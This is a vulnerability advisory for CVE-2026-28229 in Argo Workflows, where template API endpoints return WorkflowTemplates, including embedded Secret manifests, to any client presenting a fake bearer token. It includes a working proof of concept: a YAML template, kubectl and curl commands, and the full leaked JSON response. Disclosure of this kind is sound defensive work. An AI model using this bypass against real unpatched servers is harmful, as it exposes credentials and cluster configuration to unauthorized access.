CVE-2026-28229

### Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests. ### Details https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72 Informers use the server’s rest config, so they read using server SA privileges. https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46 ### PoC 1. Create template ```yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ= ``` Then apply that with `kubectl apply -f poc.yml` 2. Query Argo Server with a fake token **Result:** ```cmd > kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created > curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}} ``` ### Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.

Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows